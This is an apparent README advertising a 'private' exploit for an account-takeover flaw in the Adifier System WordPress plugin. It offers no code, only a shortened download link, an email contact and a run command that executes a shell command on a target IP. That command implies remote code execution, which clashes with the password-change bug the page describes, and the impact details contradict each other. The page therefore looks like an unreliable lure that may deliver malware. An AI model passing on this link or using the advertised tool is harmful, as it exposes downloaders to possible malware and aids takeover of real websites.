CVE-2024-13375 Unverified Password Change# CVE-2024-13375 - Unverified Password Change (CWE-620)
## Overview
The Adifier System plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.1.7. This vulnerability is due to the plugin not properly validating a user's identity prior to updating their details, including passwords, through the adifier_recover() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their accounts.
## Exploit:
## [Download here](https://bit.ly/3WjgS7J)
## Details
+ **CVE ID**: [CVE-2024-13375](https://nvd.nist.gov/vuln/detail/CVE-2024-13375)
+ **Published**: 01/18/2025
+ **Impact**: Confidentiality
+ **Exploit Availability**: Not public, only private.
+ **CVSS**: 9.8
## Vulnerability Description
This vulnerability allows unauthenticated attackers to change the passwords of any user account, including administrator accounts. Once an attacker changes a user's password, they can then log in as that user and have full access to their account privileges. For administrator accounts, this means complete control over the WordPress site, potentially leading to: 1. Unauthorized access to sensitive information 2. Modification or deletion of website content 3. Installation of malicious plugins or themes 4. Potential compromise of the entire web server The CVSS v3.1 base score for this vulnerability is 9.8 (Critical), with high impacts on confidentiality, integrity, and availability. The attack vector is network-based, requires no user interaction, and can be executed with low attack complexity.
## Affected Versions
Adifier System <= 3.1.7
## Running
To run exploit you need Python 3.9. Execute:
```
python exploit.py -h 10.10.10.10 -c 'uname -a'
```
## Contact
+ **For inquiries, please contact:LeronTavish@outlook.com**
+ **Exploit** :[Download here](https://bit.ly/3WjgS7J)
登录后查看神龙缓存的 POC 文件快照
登录查看